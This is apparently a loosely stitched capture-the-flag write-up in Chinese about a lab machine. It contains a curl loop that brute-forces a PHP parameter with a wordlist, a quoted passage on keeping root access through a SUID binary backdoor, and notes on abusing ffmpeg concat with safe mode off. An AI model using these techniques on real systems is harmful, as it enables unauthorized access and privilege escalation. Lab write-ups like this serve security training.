使用别人传上去的字典进行爆破，或者传rockyou.txt前 1000 个单词进行爆破:
halcyon@hades:~$ for i in $(cat /var/tmp/31/123.txt); do curl -s http://localhost/req.php?magicword=$i; done | grep -v "NO..." | sed '/^$/d'
tOlbuBLjFWntVDNmjHIG - /^$/ 是一个正则表达式模式，用于匹配空白行。
- ^ 表示行的开始。
- $ 表示行的结束。
- ^$ 结合起来就匹配了一个没有任何字符的行，即空白行。
- d 是一个 sed 命令，表示删除匹配到的行。

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

import os
output_folder = 'ascii_chars'
os.makedirs(output_folder, exist_ok=True)
for i in range(128):
char = chr(i)
filename = os.path.join(output_folder, f'char_{i}.txt')
with open(filename, 'w', encoding='utf-8') as f:
f.write(char)
print("All ASCII characters have been written to files.")尝试进行利用:
hgbe02@pwn:~/temp/temp_txt/ascii_chars$ for i in {0..127}; do printf /var/tmp/ascii_chars/char_$i.txt;printf '\n'; done

然后问了一下rpj7，他告诉我是由 concat 以及 -i 实现的，我看了一些文章进行了部分修改（以及部分discord剧透的细节）
- https://stackoverflow.com/questions/38996925/ffmpeg-concat-unsafe-file-name
- https://community.unix.com/t/ffmpeg-invalid-data-found-when-processing-input/381336/15
- https://stackoverflow.com/questions/50455695/why-does-ffmpeg-ignore-protocol-whitelist-flag-when-converting-https-m3u8-stream
好吧想不出来了，尝试按照 rpj7师傅的方法进行尝试吧：
- 首先要设置 safe 等级为 0
- 然后设置白名单
